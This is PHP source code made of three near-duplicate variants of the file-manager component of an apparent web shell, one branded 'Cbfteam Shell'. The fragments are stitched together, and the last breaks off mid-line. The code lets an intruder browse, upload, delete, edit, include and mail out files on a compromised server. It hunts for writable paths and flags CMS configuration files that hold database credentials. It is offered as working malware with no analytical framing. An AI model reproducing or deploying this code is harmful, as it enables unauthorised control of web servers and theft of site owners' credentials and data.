function filemanageR() { global $windows, $cwd, $hcwd, $Resource_Dir; $cfg = array('wp-config.php', 'config.php', 'configuration.php', 'ayarlar.php', 'ayar.php'); if (!empty($_REQUEST['task'])) { if (!empty($_REQUEST['search'])) { $_REQUEST['task'] = 7; } if (!empty($_REQUEST['re'])) { $_REQUEST['task'] = 6; } echo '<font color=#FA0><pre>'; listdiR($cwd, $_REQUEST['task']); echo '</pre></font>'; } else { if (!empty($_REQUEST['cP']) || !empty($_REQUEST['mV']) || !empty($_REQUEST['rN'])) { if (!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])) { $title = 'Destination'; $ad = !empty($_REQUEST['cP']) ? $_REQUEST['cP'] : $_REQUEST['mV']; $dis = !empty($_REQUEST['cP']) ? 'Copy' : 'Move'; } else { $ad = $_REQUEST['rN']; $title = 'New name'; $dis = 'Rename'; } if (empty($_REQUEST['deS'])) { echo '<table border="0" cellspacing="0" cellpadding="0"><tr><th>' . $title . ':</th></tr><tr><td><form method="POST"><input type=text value="'; if (empty($_REQUEST['rN'])) { echo $cwd; } echo '" size="60" name="deS"></td></tr><tr><td>' . $hcwd . '<input type="hidden" value="' . htmlspecialchars($ad) . '" name="cp"><div class="buttonsdiv"><input type="submit" value="' . $dis . '"></div></form></table>'; } else { if (!empty($_REQUEST['rN'])) { rename($ad, $_REQUEST['deS']); } else { copy($ad, $_REQUEST['deS']); if (!empty($_REQUEST['mV'])) { unlink($ad); } } } } if (!empty($_REQUEST['deL'])) { if (is_dir($_REQUEST['deL'])) { listdiR($_REQUEST['deL'], 8); } else { unlink($_REQUEST['deL']); } } if (!empty($_FILES['uploadfile'])) { move_uploaded_file($_FILES['uploadfile']['tmp_name'], $_FILES['uploadfile']['name']); echo "<b>Uploaded!</b> File name: " . $_FILES['uploadfile']['name'] . " File size: " . $_FILES['uploadfile']['size'] . "<br />"; } $select = "<select onChange='document.location=this.options[this.selectedIndex].value;'><option value='" . hlinK("seC=fm&workingdiR={$cwd}") . "'>--------</option><option value='"; if (!empty($_REQUEST['newf'])) { if (!empty($_REQUEST['newfile'])) { file_put_contents($_REQUEST['newf'], ''); } if (!empty($_REQUEST['newdir'])) { mkdir($_REQUEST['newf']); } } if ($windows) { echo '<table border="0" cellspacing="0" cellpadding="0"><tr><td><b>Drives: </b>'; if (class_exists('COM')) { $obj = new COM('scripting.filesystemobject'); if (is_object($obj)) { $type = array('Unknow', 'Removable', 'Fixed', 'Network', 'CD-ROM', 'RAM Disk'); $drivelist = array(); foreach ($obj->Drives as $drive) { if ($drive->IsReady) { $drivelist[] = "<a href='" . hlinK('seC=fm&workingdiR=' . $drive->DriveLetter . ':\\') . "' title='Type: " . $type[$drive->DriveType] . "\nFile system: " . $drive->FileSystem . "\nSerial: " . $drive->SerialNumber . "\nShare name: " . $drive->ShareName . "\nFree: " . showsizE($drive->AvailableSpace) . "\nTotall: " . showsizE($drive->TotalSize) . "'>" . $drive->DriveLetter . ':\\</a>'; } } } echo implode(' - ', $drivelist); } else { for ($i = 66; $i <= 90; $i++) { $drive = chr($i) . ':'; if (@disk_total_space($drive)) { echo " <a title='{$drive}' href=" . hlinK("seC=fm&workingdiR={$drive}\\") . ">{$drive}\\</a>"; } } } echo "</td><tr></table>"; } } $ext = array('7z', 'ai', 'aiff', 'asc', 'avi', 'bat', 'bin', 'bz2', 'c', 'cfc', 'cfm', 'chm', 'class', 'com', 'conf', 'cpp', 'cs', 'css', 'csv', 'dat', 'deb', 'divx', 'dll', 'doc', 'dot', 'eml', 'enc', 'exe', 'flv', 'gif', 'gz', 'hlp', 'htaccess', 'htpasswd', 'htm', 'html', 'ico', 'image', 'iso', 'jar', 'java', 'jpeg', 'jpg', 'js', 'link', 'log', 'lua', 'm', 'm4v', 'mid', 'mm', 'mov', 'mp3', 'mpg', 'odc', 'odf', 'odg', 'odi', 'odp', 'ods', 'odt', 'ogg', 'pdf', 'pgp', 'php', 'pl', 'png', 'ppt', 'ps', 'py', 'ram', 'rar', 'rb', 'rm', 'rpm', 'rtf', 'sig', 'shtml', 'sql', 'swf', 'sxc', 'sxd', 'sxi', 'sxw', 'tar', 'tex', 'tgz', 'txt', 'vcf', 'vsd', 'wav', 'wma', 'wmv', 'xls', 'xml', 'xpi', 'xvid', 'zip'); echo ' <table border="0" cellspacing="0" cellpadding="0" width="100%"><tr><th width="100%" align="left"><a href="javascript:history.go(-1)"><img src="' . $Resource_Dir . 'images/fmback.png" title="Back" border="0" /></a><a href="' . hlinK("seC=fm&workingdiR={$cwd}" . DIRECTORY_SEPARATOR . '..') . '"><img src="' . $Resource_Dir . 'images/up.png" title="Up" border="0" /></a><a href="' . hlinK("seC=fm") . '"><img src="' . $Resource_Dir . 'images/home.png" title="Home" border="0" /></a><a href="' . hlinK("seC=fm&workingdiR={$cwd}") . '"><img src="' . $Resource_Dir . 'images/refresh.png" title="Refresh" border="0" /></a></th></tr></table>'; $file = $dir = $link = array(); if ($dirhandle = opendir($cwd)) { while ($cont = readdir($dirhandle)) { if (is_dir($cwd . DIRECTORY_SEPARATOR . $cont)) { $dir[] = $cont; } elseif (is_file($cwd . DIRECTORY_SEPARATOR . $cont)) { $file[] = $cont; } else { $link[] = $cont; } } } elseif (!$windows) { $r = array(); $r = explode("\n", shelL('ls -la | grep ^-')); foreach ($r as $v) { if (trim($v)) { $file[] = trim(end(explode(" ", $v))); } } $r = explode("\n", shelL('ls -la | grep ^d')); foreach ($r as $v) { if (trim($v)) { $dir[] = trim(end(explode(" ", $v))); } } $r = explode("\n", shelL('ls -la | grep ^l')); foreach ($r as $v) { if (trim($v)) { $link[] = trim(end(explode(" ", $v))); } } } sort($file); sort($dir); sort($link); $c = 0; $sp = !empty($_REQUEST['startP']) ? $_REQUEST['startP'] : 0; echo '<table border="0" cellspacing="0" cellpadding="0" width="100%" class="sortable"><tr><th width="10"> </th><th width="290"><b>Name</b></th><th width="100"><b>Owner</b></th><th width="120"><b>Modification</b></th><th width="120"><b>Last access</b></th><th width="30"><b>Permission</b></th><th width="45"><b>Size</b></th><th width="50"><b>Actions</b></th></tr>'; foreach ($dir as $dn) { $c++; if ($c <= $sp) { continue; } if ($c - $sp == 251) { break; } echo '<tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td><a href="' . hlinK('seC=fm&workingdiR=' . realpath($dn)) . '" title="' . $dn . '"><img src="' . $Resource_Dir . 'images/icon/directory.png" border="0" /></a></td><td>'; $own = 'Unknown'; $owner = posix_getpwuid(@fileowner($dn)); $mdate = date('Y/m/d H:i:s', @filemtime($dn)); $adate = date('Y/m/d H:i:s', @fileatime($dn)); $cote = strlen($dn) > 30 ? substr($dn, 0, 27) . '...' : $dn; $diraction = $select . hlinK('seC=fm&workingdiR=' . realpath($dn)) . "'>Open</option><option value='" . hlinK("seC=fm&workingdiR={$cwd}&rN={$dn}") . "'>Rename</option><option value='" . hlinK("seC=fm&deL={$dn}&workingdiR={$cwd}") . "'>Remove</option></select></td>"; if ($owner) { $own = "<a title='Shell: " . $owner['shell'] . "' href='" . hlinK('seC=fm&workingdiR=' . $owner['dir']) . "'>" . perm2coloR($dn, $owner['name']) . '</a>'; } echo '<a href="' . hlinK('seC=fm&workingdiR=' . realpath($dn)) . '" title="' . $dn . '">' . perm2coloR($dn, $cote) . "</a></td><td>{$own}</td><td>" . perm2coloR($dn, $mdate) . "</td><td>" . perm2coloR($dn, $adate) . "</td><td><a href='#' onClick=\"javascript:chmoD('{$dn}')\" title='Change mode'>" . perm2coloR($dn, permS(@fileperms($dn))) . "</a></td><td>" . perm2coloR($dn, "------") . "</td><td>{$diraction}</tr>"; } foreach ($file as $fn) { $c++; if ($c <= $sp) { continue; } if ($c - $sp == 251) { break; } $own = 'Unknown'; $owner = posix_getpwuid(fileowner($fn)); $fileaction = $select . hlinK("seC=openit&namE={$fn}&workingdiR={$cwd}") . "'>Open</option><option value='" . hlinK("seC=edit&filE={$fn}&workingdiR={$cwd}") . "'>Edit</option><option value='" . hlinK("seC=fm&downloaD={$fn}&workingdiR={$cwd}") . "'>Download</option><option value='" . hlinK("seC=hex&filE={$fn}&workingdiR={$cwd}") . "'>Hex view</option><option value='" . hlinK("seC=img&filE={$fn}&workingdiR={$cwd}") . "'>Image</option><option value='" . hlinK("seC=inc&filE={$fn}&workingdiR={$cwd}") . "'>Include</option><option value='" . hlinK("seC=checksum&filE={$fn}&workingdiR={$cwd}") . "'>Checksum</option><option value='" . hlinK("seC=mailer&attacH={$fn}&workingdiR={$cwd}") . "'>Send by mail</option><option value='" . hlinK("seC=fm&workingdiR={$cwd}&cP={$fn}") . "'>Copy</option><option value='" . hlinK("seC=fm&workingdiR={$cwd}&mV={$fn}") . "'>Move</option><option value='" . hlinK("seC=fm&deL={$fn}&workingdiR={$cwd}") . "'>Remove</option></select></td>"; $mdate = date('Y/m/d H:i:s', filemtime($fn)); $adate = date('Y/m/d H:i:s', fileatime($fn)); if ($owner) { $own = "<a title='Shell:" . $owner['shell'] . "' href='" . hlinK('seC=fm&workingdiR=' . $owner['dir']) . "'>" . perm2coloR($fn, $owner['name']) . '</a>'; } $size = showsizE(filesize($fn)); $type = @strtolower(end(explode(".", $fn))); if (!in_array($type, $ext)) { $type = 'unknown'; } echo '<tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td><a href="' . hlinK("seC=openit&namE={$fn}&workingdiR={$cwd}") . '" title="' . $fn . '"><img src="' . $Resource_Dir . 'images/icon/' . $type . '.png" border="0" /></a></td><td>'; echo '<a href="' . hlinK("seC=openit&namE={$fn}&workingdiR={$cwd}") . '" title="' . $fn . '">'; $cote = strlen($fn) > 30 ? substr($fn, 0, 27) . '...' : $fn; if (in_array($fn, $cfg)) { $cote = "<b>{$cote}</b>"; } echo perm2coloR($fn, $cote) . '</a></td>'; echo "<td>" . perm2coloR($fn, $own) . "</td><td>" . perm2coloR($fn, $mdate) . "</td><td>" . perm2coloR($fn, $adate) . "</td></td><td>"; echo "<a href='#' onClick=\"javascript:chmoD('{$fn}')\" title='Change mode'>" . perm2coloR($fn, permS(fileperms($fn))) . '</a></td>'; echo "<td>" . perm2coloR($fn, $size) . "</td>"; echo "<td>{$fileaction}"; echo '</tr>'; } foreach ($link as $ln) { $c++; if ($c <= $sp) { continue; } if ($c - $sp == 251) { break; } $own = 'Unknown'; $owner = posix_getpwuid(@fileowner($ln)); $linkaction = $select . hlinK("seC=openit&namE={$ln}&workingdiR={$ln}") . "'>Open</option><option value='" . hlinK("seC=edit&filE={$ln}&workingdiR={$cwd}") . "'>Edit</option><option value='" . hlinK("seC=fm&downloaD={$ln}&workingdiR={$cwd}") . "'>Download</option><option value='" . hlinK("seC=hex&filE={$ln}&workingdiR={$cwd}") . "'>Hex view</option><option value='" . hlinK("seC=img&filE={$ln}&workingdiR={$cwd}") . "'>Image</option><option value='" . hlinK("seC=inc&filE={$ln}&workingdiR={$cwd}") . "'>Include</option><option value='" . hlinK("seC=checksum&filE={$ln}&workingdiR={$cwd}") . "'>Checksum</option><option value='" . hlinK("seC=mailer&attacH={$ln}&workingdiR={$cwd}") . "'>Send by mail</option><option value='" . hlinK("seC=fm&workingdiR={$cwd}&cP={$ln}") . "'>Copy</option><option value='" . hlinK("seC=fm&workingdiR={$cwd}&mV={$ln}") . "'>Move</option><option value='" . hlinK("seC=fm&workingdiR={$cwd}&rN={$ln}") . "'>Rename</option><option value='" . hlinK("seC=fm&deL={$ln}&workingdiR={$cwd}") . "'>Remove</option></select></td>"; $mdate = date('Y/m/d H:i:s', @filemtime($ln)); $adate = date('Y/m/d H:i:s', @fileatime($ln)); if ($owner) { $own = "<a title='Shell: " . $owner['shell'] . "' href='" . hlinK('seC=fm&workingdiR=' . $owner['dir']) . "'>" . $owner['name'] . '</a>'; } echo '<tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td><a href="' . hlinK('seC=fm&workingdiR=' . realpath($ln)) . '" title="' . $ln . '"><img src="' . $Resource_Dir . 'images/icon/link.png" border="0" /></a></td><td>'; $size = showsizE(@filesize($ln)); echo '<a href="' . hlinK("seC=openit&namE={$ln}&workingdiR={$cwd}") . '" title="' . $ln . '">'; $cote = strlen($ln) > 30 ? substr($ln, 0, 27) . '...' : $ln; echo perm2coloR($ln, $cote) . '</a></td>'; echo "<td>" . perm2coloR($ln, $own) . "</td>"; echo "<td>" . perm2coloR($ln, $mdate) . "</td>"; echo "<td>" . perm2coloR($ln, $adate) . "</td>"; echo "</td><td>"; echo "<a href='#' onClick=\"javascript:chmoD('{$ln}')\" title='Change mode'>" . perm2coloR($ln, permS(@fileperms($ln))) . '</a></td>'; echo "<td>" . perm2coloR($ln, $size) . "</td>"; echo "<td>{$linkaction}"; echo '</tr>'; } $dc = count($dir) - 2; if ($dc == -2) { $dc = 0; } $fc = count($file); $lc = count($link); $total = $dc + $fc + $lc; $min = min(substr(ini_get('upload_max_filesize'), 0, strpos(ini_get('post_max_size'), 'M')), substr(ini_get('post_max_size'), 0, strpos(ini_get('post_max_size'), 'M'))) . ' MB'; echo '</table><br />'; if ($total > 250) { echo '<div align="center">'; if ($sp) { echo '<a href="' . hlinK('seC=fm&workingdiR=' . $cwd . "&startP=" . ($sp - 250)) . '"><Previous page</a>'; } if ($sp + 250 < $total) { echo '<a href="' . hlinK('seC=fm&workingdiR=' . $cwd . "&startP=" . ($sp + 250)) . '">Next page></a>'; } echo "</div><br />"; } echo '<table border="0" cellspacing="0" cellpadding="0" width="100%"> <tr><td colspan="7">Directory summery: Total:' . $total . ' Directories:' . $dc . ' Files:' . $fc . ' Links:' . $lc . ' Permission:' . permS(fileperms($cwd)) . '</td><tr><td colspan="7"> </td></tr><tr><td colspan="3"><form method="POST">Find: <input type="text" size="25" value="$pass" name="search"> <input type="checkbox" name="re" value="1">Regular expressions<div class="buttonsdiv"><input type="submit" value="Find"></div>' . $hcwd . '<input type="hidden" value="7" name="task"></form></td><td colspan="4"><form method="POST">' . $hcwd . '<input type="hidden" value="fm" name="seC"><select name="task"><option value="0">Display files and directories in current folder</option><option value="1">Find writable files and directories in current folder</option><option value="2">Find writable files in current folder</option><option value="3">Find writable directories in current folder</option><option value="4">Display all files in current folder</option><option value="5">Display all directories in current folder</option></select><div class="buttonsdiv"><input type="submit" value="Start"><div class="buttonsdiv"></form></td></tr> </table><br /> <table width=100% border="0" cellspacing="0" cellpadding="0"> <tr><th width=50%>New:</th><th width=50%>Upload:</th></tr> <tr> <td><form method="POST"><input type="text" size="25" value="Unnamed" name="newf"> <div class="buttonsdiv"><input type="submit" name="newfile" value="New File"><input type="submit" name="newdir" value="New Directory"></div></form></td> <td><form method="POST" enctype="multipart/form-data"><input type="file" size="15" name="uploadfile">' . $hcwd . '<div class="buttonsdiv"><input type="submit" value="Upload"></div><br />Note: Max allowed file size to upload on this server is ' . $min . '</form></td></tr></table>'; }
function filemanageR() { global $windows, $msgbox, $errorbox, $t, $et, $cwd, $hcwd; $table = "<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'>"; $td1n = "<td width='22%' bgcolor='#666666'>"; $td2m = "<td width='22%' bgcolor='#808080'>"; $td1i = "<td width='5%' bgcolor='#666666'>"; $td2i = "<td width='5%' bgcolor='#808080'>"; $tdnr = "<td width='22%' bgcolor='#800000'>"; $tdw = "<td width='22%' bgcolor='#006E00'>"; if (!empty($_REQUEST['task'])) { if (!empty($_REQUEST['search'])) { $_REQUEST['task'] = 7; } if (!empty($_REQUEST['re'])) { $_REQUEST['task'] = 6; } echo '<font color=blue><pre>'; listdiR($cwd, $_REQUEST['task']); echo '</pre></font>'; } else { if (!empty($_REQUEST['cP']) || !empty($_REQUEST['mV']) || !empty($_REQUEST['rN'])) { if (!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])) { $title = 'Destination'; $ad = !empty($_REQUEST['cP']) ? $_REQUEST['cP'] : $_REQUEST['mV']; $dis = !empty($_REQUEST['cP']) ? 'Copy' : 'Move'; } else { $ad = $_REQUEST['rN']; $title = 'New name'; $dis = 'Rename'; } if (!!empty($_REQUEST['deS'])) { echo "<center><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='100%' bgcolor='#333333'>{$title}:</td></tr><tr>{$td1n}<form method='POST'><input type=text value='"; if (empty($_REQUEST['rN'])) { echo $cwd; } echo "' size=60 name=deS></td></tr><tr>{$td2m}{$hcwd}<input type=hidden value='" . htmlspecialchars($ad) . "' name=cp><input class=buttons type=submit value={$dis}></form>{$et}</center>"; } else { if (!empty($_REQUEST['rN'])) { rename($ad, $_REQUEST['deS']); } else { copy($ad, $_REQUEST['deS']); if (!empty($_REQUEST['mV'])) { unlink($ad); } } } } if (!empty($_REQUEST['deL'])) { if (is_dir($_REQUEST['deL'])) { listdiR($_REQUEST['deL'], 8); } else { unlink($_REQUEST['deL']); } } if (!empty($_FILES['uploadfile'])) { move_uploaded_file($_FILES['uploadfile']['tmp_name'], $_FILES['uploadfile']['name']); echo "{$msgbox}<b>Uploaded!</b> File name: " . $_FILES['uploadfile']['name'] . " File size: " . $_FILES['uploadfile']['size'] . "{$et}<br>"; } $select = "<select onChange='document.location=this.options[this.selectedIndex].value;'><option value='" . hlinK("seC=fm&workingdiR={$cwd}") . "'>--------</option><option value='"; if (!empty($_REQUEST['newf'])) { if (!empty($_REQUEST['newfile'])) { file_put_contents($_REQUEST['newf'], ''); } if (!empty($_REQUEST['newdir'])) { mkdir($_REQUEST['newf']); } } if ($windows) { echo "{$table}<td><b>Drives:</b> "; for ($i = 66; $i <= 90; $i++) { $drive = chr($i) . ':'; if (is_dir($drive . "\\")) { $vol = shelL("vol {$drive}"); if (empty($vol)) { $vol = $drive; } echo " <a title='{$vol}' href=" . hlinK("seC=fm&workingdiR={$drive}\\") . ">{$drive}\\</a>"; } } echo $et; } echo "{$table}<form method='POST'><tr><td width='20%'><b>[ <a id='lk' style='text-decoration:none' href='#' onClick=\"HS('div');\">-</a> ] Location:</b><input type=text name=workingdiR size=135 value='{$cwd}'><input class=buttons type=submit value=Change></form>{$et}"; $file = $dir = $link = array(); if ($dirhandle = opendir($cwd)) { while ($cont = readdir($dirhandle)) { if (is_dir($cwd . DIRECTORY_SEPARATOR . $cont)) { $dir[] = $cont; } elseif (is_file($cwd . DIRECTORY_SEPARATOR . $cont)) { $file[] = $cont; } else { $link[] = $cont; } } closedir($dirhandle); sort($file); sort($dir); sort($link); echo "<div id='div'><table border=1 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bordercolor='#282828' bgcolor='#333333' width='100%'><tr><td width='30%' bgcolor='#333333' align='center'>Name</td><td width='13%' bgcolor='#333333' align='center'>Owner</td><td width='12%' bgcolor='#333333' align='center'>Modification time</td><td width='12%' bgcolor='#333333' align='center'>Last change</td><td width='5%' bgcolor='#333333' align='center'>Info</td><td width='7%' bgcolor='#333333' align='center'>Size</td><td width='15%' bgcolor='#333333' align='center'>Actions</td></tr>"; $i = 0; foreach ($dir as $dn) { echo '<tr>'; $i++; $own = 'Unknow'; $owner = posix_getpwuid(fileowner($dn)); $mdate = date('Y/m/d H:i:s', filemtime($dn)); $adate = date('Y/m/d H:i:s', fileatime($dn)); $diraction = $select . hlinK('seC=fm&workingdiR=' . realpath($dn)) . "'>Open</option><option value='" . hlinK("seC=fm&workingdiR={$cwd}&rN={$dn}") . "'>Rename</option><option value='" . hlinK("seC=fm&deL={$dn}&workingdiR={$cwd}") . "'>Remove</option></select></td>"; if ($owner) { $own = "<a title=' Shell: " . $owner['shell'] . "' href='" . hlinK('seC=fm&workingdiR=' . $owner['dir']) . "'>" . $owner['name'] . '</a>'; } if ($i % 2 == 0) { $cl1 = $td1i; $cl2 = $td1n; } else { $cl1 = $td2i; $cl2 = $td2m; } if (is_writeable($dn)) { echo $tdw; } elseif (!is_readable($dn)) { echo $tdnr; } else { echo $cl2; } echo "<a href='" . hlinK('seC=fm&workingdiR=' . realpath($dn)) . "'>"; if (strlen($dn) > 45) { echo substr($dn, 0, 42) . '...'; } else { echo $dn; } echo '</a>'; echo $cl1 . "{$own}</td>"; echo $cl1 . "{$mdate}</td>"; echo $cl1 . "{$adate}</td>"; echo "</td>{$cl1}"; echo "<a href='#' onClick=\"javascript:chmoD('{$dn}')\" title='Change mode'>"; echo 'D'; if (is_readable($dn)) { echo 'R'; } if (is_writeable($dn)) { echo 'W'; } echo '</a></td>'; echo "{$cl1}------</td>"; echo $cl2 . $diraction; echo '</tr>'; } foreach ($file as $fn) { echo '<tr>'; $i++; $own = 'Unknow'; $owner = posix_getpwuid(fileowner($fn)); $fileaction = $select . hlinK("seC=openit&namE={$fn}&workingdiR={$cwd}") . "'>Open</option><option value='" . hlinK("seC=edit&filE={$fn}&workingdiR={$cwd}") . "'>Edit</option><option value='" . hlinK("seC=fm&downloaD={$fn}&workingdiR={$cwd}") . "'>Download</option><option value='" . hlinK("seC=hex&filE={$fn}&workingdiR={$cwd}") . "'>Hex view</option><option value='" . hlinK("seC=img&filE={$fn}&workingdiR={$cwd}") . "'>Image</option><option value='" . hlinK("seC=inc&filE={$fn}&workingdiR={$cwd}") . "'>Include</option><option value='" . hlinK("seC=checksum&filE={$fn}&workingdiR={$cwd}") . "'>Checksum</option><option value='" . hlinK("seC=fm&workingdiR={$cwd}&cP={$fn}") . "'>Copy</option><option value='" . hlinK("seC=fm&workingdiR={$cwd}&mV={$fn}") . "'>Move</option><option value='" . hlinK("seC=fm&deL={$fn}&workingdiR={$cwd}") . "'>Remove</option></select></td>"; $mdate = date('Y/m/d H:i:s', filemtime($fn)); $adate = date('Y/m/d H:i:s', fileatime($fn)); if ($owner) { $own = "<a title='Shell:" . $owner['shell'] . "' href='" . hlinK('seC=fm&workingdiR=' . $owner['dir']) . "'>" . $owner['name'] . '</a>'; } $size = showsizE(filesize($fn)); if ($i % 2 == 0) { $cl1 = $td1i; $cl2 = $td1n; } else { $cl1 = $td2i; $cl2 = $td2m; } if (is_writeable($fn)) { echo $tdw; } elseif (!is_readable($fn)) { echo $tdnr; } else { echo $cl2; } echo "<a href='" . hlinK("seC=openit&namE={$fn}&workingdiR={$cwd}") . "'>"; if (strlen($fn) > 45) { echo substr($fn, 0, 42) . '...'; } else { echo $fn; } echo '</a>'; echo $cl1 . "{$own}</td>"; echo $cl1 . "{$mdate}</td>"; echo $cl1 . "{$adate}</td>"; echo "</td>{$cl1}"; echo "<a href='#' onClick=\"javascript:chmoD('{$fn}')\" title='Change mode'>"; if (is_readable($fn)) { echo "R"; } if (is_writeable($fn)) { echo "W"; } if (is_executable($fn)) { echo "X"; } if (is_uploaded_file($fn)) { echo "U"; } echo "</a></td>"; echo "{$cl1}{$size}</td>"; echo $cl2 . $fileaction; echo '</tr>'; } foreach ($link as $ln) { $own = 'Unknow'; $i++; $owner = posix_getpwuid(fileowner($ln)); $linkaction = $select . hlinK("seC=openit&namE={$ln}&workingdiR={$ln}") . "'>Open</option><option value='" . hlinK("seC=edit&filE={$ln}&workingdiR={$cwd}") . "'>Edit</option><option value='" . hlinK("seC=fm&downloaD={$ln}&workingdiR={$cwd}") . "'>Download</option><option value='" . hlinK("seC=hex&filE={$ln}&workingdiR={$cwd}") . "'>Hex view</option><option value='" . hlinK("seC=img&filE={$ln}&workingdiR={$cwd}") . "'>Image</option><option value='" . hlinK("seC=inc&filE={$ln}&workingdiR={$cwd}") . "'>Include</option><option value='" . hlinK("seC=checksum&filE={$ln}&workingdiR={$cwd}") . "'>Checksum</option><option value='" . hlinK("seC=fm&workingdiR={$cwd}&cP={$ln}") . "'>Copy</option><option value='" . hlinK("seC=fm&workingdiR={$cwd}&mV={$ln}") . "'>Move</option><option value='" . hlinK("seC=fm&workingdiR={$cwd}&rN={$ln}") . "'>Rename</option><option value='" . hlinK("seC=fm&deL={$ln}&workingdiR={$cwd}") . "'>Remove</option></select></td>"; $mdate = date('Y/m/d H:i:s', filemtime($ln)); $adate = date('Y/m/d H:i:s', fileatime($ln)); if ($owner) { $own = "<a title='Shell: " . $owner['shell'] . "' href='" . hlinK('seC=fm&workingdiR=' . $owner['dir']) . "'>" . $owner['name'] . '</a>'; } echo '<tr>'; $size = showsizE(filesize($ln)); if ($i % 2 == 0) { $cl1 = $td1i; $cl2 = $td1n; } else { $cl1 = $td2i; $cl2 = $td2m; } if (is_writeable($ln)) { echo $tdw; } elseif (!is_readable($ln)) { echo $tdnr; } else { echo $cl2; } echo "<a href='" . hlinK("seC=openit&namE={$ln}&workingdiR={$cwd}") . "'>"; if (strlen($ln) > 45) { echo substr($ln, 0, 42) . '...'; } else { echo $ln; } echo '</a>'; echo $cl1 . "{$own}</td>"; echo $cl1 . "{$mdate}</td>"; echo $cl1 . "{$adate}</td>"; echo "</td>{$cl1}"; echo "<a href='#' onClick=\"javascript:chmoD('{$ln}')\" title='Change mode'>L"; if (is_readable($ln)) { echo "R"; } if (is_writeable($ln)) { echo "W"; } if (is_executable($ln)) { echo "X"; } echo "</a></td>"; echo "{$cl1}{$size}</td>"; echo $cl2 . $linkaction; echo '</tr>'; } } $dc = count($dir) - 2; if ($dc == -2) { $dc = 0; } $fc = count($file); $lc = count($link); $total = $dc + $fc + $lc; echo "</table></div>{$table}<tr><td><form method=POST>Find:<input type=text value=\$pass name=search><input type=checkbox name=re value=1 style='border-width:1px;background-color:#333333;'>Regular expressions <input type=submit class=buttons value=Find>{$hcwd}<input type=hidden value=7 name=task></form></td><td><form method=POST>{$hcwd}<input type=hidden value='fm' name=seC><select name=task><option value=0>Display files and directories in current folder</option><option value=1>Find writable files and directories in current folder</option><option value=2>Find writable files in current folder</option><option value=3>Find writable directories in current folder</option><option value=4>Display all files in current folder</option><option value=5>Display all directories in current folder</option></select><input type=submit class=buttons value=Do></form>{$et}</tr></table><table width='100%'><tr><td width='50%'><br><table bgcolor=#333333 border=0 width='65%'><td><b>Summery:</b> Total: {$total} Directories: {$dc} Files: {$fc} Links: {$lc}{$et}<table bgcolor=#333333 border=0 width='65%'><td width='100%' bgcolor="; if (is_writeable($cwd)) { echo '#006E00'; } elseif (!is_readable($cwd)) { echo '#800000'; } else { '#333333'; } echo '>Current directory status: '; if (is_readable($cwd)) { echo 'R'; } if (is_writeable($cwd)) { echo 'W'; } echo "{$et}<table border=0 style='border-collapse: collapse' width='65%'><tr><td width='100%' bgcolor='#333333'>New:</td></tr><tr>{$td1n}<form method='POST'><input type=text size=47 name=newf></td></tr><tr>{$td2m}{$hcwd}<input class=buttons type=submit name=newfile value='File'><input class=buttons type=submit name=newdir value='Folder'></form>{$et}</td><td width='50%'><br>{$t}Upload:</td></tr><tr>{$td1n}<form method='POST' enctype='multipart/form-data'><input type=file size=45 name=uploadfile></td></tr><tr>{$td2m}{$hcwd}<input class=buttons type=submit value=Upload></td></tr>{$td1n} Note For Cbfteam Shell : Max allowed file size to upload on this server is " . ini_get('upload_max_filesize') . "</form>{$et}{$et}"; } }
function filemanager() { global $windows, $msgbox, $errorbox, $t, $et, $hcwd; $cwd = getcwd(); $table = "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\">"; $td1n = "<td width=\"22%\" bgcolor=\"#666666\">"; $td2m = "<td width=\"22%\" bgcolor=\"#808080\">"; $td1i = "<td width=\"5%\" bgcolor=\"#666666\">"; $td2i = "<td width=\"5%\" bgcolor=\"#808080\">"; $tdnr = "<td width=\"22%\" bgcolor=\"#800000\">"; $tdw = "<td width=\"22%\" bgcolor=\"#006E00\">"; if (!empty($_REQUEST['task'])) { if (!empty($_REQUEST['search'])) { $_REQUEST['task'] = 7; } if (!empty($_REQUEST['re'])) { $_REQUEST['task'] = 6; } echo "<font color=blue><pre>"; listdiR($cwd, $_REQUEST['task']); echo "</pre></font>"; } else { if (!empty($_REQUEST['cP']) || !empty($_REQUEST['mV']) || !empty($_REQUEST['rN'])) { if (!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])) { $title = "Destination"; $ad = !empty($_REQUEST['cP']) ? $_REQUEST['cP'] : $_REQUEST['mV']; $dis = !empty($_REQUEST['cP']) ? 'Copy' : 'Move'; } else { $ad = $_REQUEST['rN']; $title = "New name"; $dis = "Rename"; } if (!!empty($_REQUEST['deS'])) { echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"100%\" bgcolor=\"#333333\">{$title}:</td></tr><tr>{$td1n}<form method=\"POST\"><input type=text value=\""; if (empty($_REQUEST['rN'])) { echo $cwd; } echo "\" size=60 name=deS></td></tr><tr>{$td2m}{$hcwd}<input type=hidden value=\"" . htmlspecialchars($ad) . "\" name=cp><input class=buttons type=submit value={$dis}></td></tr></form></table></center>"; } else { if (!empty($_REQUEST['rN'])) { renamE($ad, $_REQUEST['deS']); } else { copy($ad, $_REQUEST['deS']); if (!empty($_REQUEST['mV'])) { unlink($ad); } } } } if (!empty($_REQUEST['deL'])) { if (is_file($_REQUEST['deL']) || is_link($_REQUEST['deL'])) { unlink($_REQUEST['deL']); } elseif (is_dir($_REQUEST['deL'])) { $dh = opendir($_REQUEST['deL']); $d = ""; while ($cont = readdir($dh)) { $d++; } if ($d > 2) { echo "{$errorbox}\"" . htmlspecialchars($_REQUEST['del']) . "\" is not empty!<td><tr></table><br>"; } else { rmdir($_REQUEST['del']); } } } if (!empty($_FILES['uploadfile'])) { move_uploaded_file($_FILES['uploadfile']['tmp_name'], $_FILES['uploadfile']['name']); echo "{$msgbox}<b>Uploaded!</b> File name: " . $_FILES['uploadfile']['name'] . " File size: " . $_FILES['uploadfile']['size'] . "{$et}<br>"; } $select = "<select onChange=\"window.location=this.options[this.selectedIndex].value;\"><option value=\"" . 